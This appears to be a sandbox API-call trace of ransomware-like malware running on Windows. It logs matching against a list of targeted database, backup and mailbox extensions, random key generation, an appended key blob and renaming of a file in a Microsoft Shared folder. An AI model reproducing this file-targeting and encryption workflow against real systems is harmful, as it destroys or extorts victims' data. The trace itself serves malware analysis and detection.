	[0084.768] lstrlenW (lpString=".txt") returned 4
	[0084.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.789] lstrlenW (lpString=".mdt") returned 4
	[0084.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.789] lstrlenW (lpString=".BDB") returned 4
	[0084.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.789] lstrlenW (lpString=".eql") returned 4
	[0084.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.789] lstrlenW (lpString=".DBF") returned 4
	[0084.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.789] lstrlenW (lpString=".EQL") returned 4
	[0084.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.789] lstrlenW (lpString=".FDB") returned 4
	[0084.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.789] lstrlenW (lpString=".EDB") returned 4
	[0084.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.789] lstrlenW (lpString=".DACPAC") returned 7
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.790] lstrlenW (lpString=".VHD") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.790] lstrlenW (lpString=".DBV") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.790] lstrlenW (lpString=".dacpac") returned 7
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.790] lstrlenW (lpString=".sdf") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.790] lstrlenW (lpString=".accdb") returned 6
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.790] lstrlenW (lpString=".DBX") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.790] lstrlenW (lpString=".MDT") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.790] lstrlenW (lpString=".SQB") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.790] lstrlenW (lpString=".vhd") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.790] lstrlenW (lpString=".bac") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.790] lstrlenW (lpString=".mdf") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.790] lstrlenW (lpString=".BAK") returned 4
	[0084.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.790] lstrlenW (lpString=".BAC") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.791] lstrlenW (lpString=".dbs") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.791] lstrlenW (lpString=".vhdx") returned 5
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.791] lstrlenW (lpString=".NDF") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.791] lstrlenW (lpString=".dat") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.791] lstrlenW (lpString=".DBS") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.791] lstrlenW (lpString=".CKP") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.791] lstrlenW (lpString=".edb") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.791] lstrlenW (lpString=".PST") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.791] lstrlenW (lpString=".dbf") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.791] lstrlenW (lpString=".SQL") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.791] lstrlenW (lpString=".pst") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.791] lstrlenW (lpString=".dbv") returned 4
	[0084.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.792] lstrlenW (lpString=".SDF") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.792] lstrlenW (lpString=".dtxs") returned 5
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.792] lstrlenW (lpString=".db3") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.792] lstrlenW (lpString=".OST") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.792] lstrlenW (lpString=".dbx") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.792] lstrlenW (lpString=".DB3") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.792] lstrlenW (lpString=".DAT") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.792] lstrlenW (lpString=".VHDX") returned 5
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.792] lstrlenW (lpString=".ndf") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.792] lstrlenW (lpString=".DB") returned 3
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.792] lstrlenW (lpString=".sql") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.792] lstrlenW (lpString=".MYD") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.792] lstrlenW (lpString=".DBT") returned 4
	[0084.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.792] lstrlenW (lpString=".ACCDB") returned 6
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.793] lstrlenW (lpString=".fdb") returned 4
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.793] lstrlenW (lpString=".bak") returned 4
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.793] lstrlenW (lpString=".myd") returned 4
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.793] lstrlenW (lpString=".DTXS") returned 5
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.793] lstrlenW (lpString=".ckp") returned 4
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.793] lstrlenW (lpString=".dbt") returned 4
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.793] lstrlenW (lpString=".db") returned 3
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.793] lstrlenW (lpString=".TXT") returned 4
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.793] lstrlenW (lpString=".MDF") returned 4
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.793] lstrlenW (lpString=".bdb") returned 4
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.793] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.794] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.795] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.795] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.795] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20478521450) returned 1
	[0084.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c610cb0, dwHighDateTime=0x1d60e1e)) 
	[0084.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa160
	[0084.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa160 | out: hHeap=0x300000) returned 1
	[0084.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.796] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4af0
	[0084.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.796] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4af0 | out: hHeap=0x300000) returned 1
	[0084.796] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.796] GetLastError () returned 0x0
	[0084.796] GetLastError () returned 0x0
	[0084.796] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.796] GetLastError () returned 0x0
	[0084.796] GetLastError () returned 0x0
	[0084.801] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff985, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.801] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x67b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x67b, lpOverlapped=0x0) returned 1
	[0084.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0084.801] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.801] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.802] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.802] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.802] CloseHandle (hObject=0x120) returned 1
	[0084.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.802] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.~~~~")) returned 1
	[0084.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.805] GetLastError () returned 0x0
	[0084.805] RtlWakeConditionVariable () returned 0x365f70
	[0084.805] GetCurrentThreadId () returned 0xaf0
	[0084.805] GetCurrentThreadId () returned 0xaf0
	[0084.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0084.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa128 | out: hHeap=0x300000) returned 1
	[0084.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e65e0
	[0084.805] lstrlenW (lpString=".scr") returned 4
	[0084.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".scr") returned 0x0
	[0084.805] lstrlenW (lpString=".cmd") returned 4
	[0084.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".cmd") returned 0x0
	[0084.806] lstrlenW (lpString=".dll") returned 4
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".dll") returned 0x0
	[0084.806] lstrlenW (lpString=".bat") returned 4
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".bat") returned 0x0
	[0084.806] lstrlenW (lpString=".cpl") returned 4
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".cpl") returned 0x0
	[0084.806] lstrlenW (lpString=".sys") returned 4
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".sys") returned 0x0
	[0084.806] lstrlenW (lpString=".msc") returned 4
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".msc") returned 0x0
	[0084.806] lstrlenW (lpString=".com") returned 4
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".com") returned 0x0
	[0084.806] lstrlenW (lpString=".lnk") returned 4
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".lnk") returned 0x0
	[0084.806] lstrlenW (lpString=".msp") returned 4
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".msp") returned 0x0
	[0084.806] lstrlenW (lpString=".pif") returned 4
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".pif") returned 0x0
	[0084.806] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.807] lstrlenW (lpString=".sqb") returned 4
	[0084.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".sqb") returned 0x0
	[0084.807] lstrlenW (lpString=".ost") returned 4
	[0084.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".ost") returned 0x0
	[0084.807] lstrlenW (lpString=".txt") returned 4
	[0084.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".txt") returned 0x0
	[0084.807] lstrlenW (lpString=".mdt") returned 4
	[0084.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".mdt") returned 0x0
	[0084.807] lstrlenW (lpString=".BDB") returned 4
	[0084.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".BDB") returned 0x0
	[0084.807] lstrlenW (lpString=".eql") returned 4
	[0084.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".eql") returned 0x0
	[0084.807] lstrlenW (lpString=".DBF") returned 4
	[0084.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DBF") returned 0x0
	[0084.807] lstrlenW (lpString=".EQL") returned 4
	[0084.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".EQL") returned 0x0
	[0084.807] lstrlenW (lpString=".FDB") returned 4
	[0084.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".FDB") returned 0x0
	[0084.807] lstrlenW (lpString=".EDB") returned 4
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".EDB") returned 0x0
	[0084.808] lstrlenW (lpString=".DACPAC") returned 7
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DACPAC") returned 0x0
	[0084.808] lstrlenW (lpString=".VHD") returned 4
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".VHD") returned 0x0
	[0084.808] lstrlenW (lpString=".DBV") returned 4
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DBV") returned 0x0
	[0084.808] lstrlenW (lpString=".dacpac") returned 7
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".dacpac") returned 0x0
	[0084.808] lstrlenW (lpString=".sdf") returned 4
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".sdf") returned 0x0
	[0084.808] lstrlenW (lpString=".accdb") returned 6
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".accdb") returned 0x0
	[0084.808] lstrlenW (lpString=".DBX") returned 4
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".DBX") returned 0x0
	[0084.808] lstrlenW (lpString=".MDT") returned 4
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".MDT") returned 0x0
	[0084.808] lstrlenW (lpString=".SQB") returned 4
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".SQB") returned 0x0
	[0084.808] lstrlenW (lpString=".vhd") returned 4
	[0084.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", lpSrch=".vhd") returned 0x0
	[0084.808] lstrlenW (lpString=".bac") returned 4
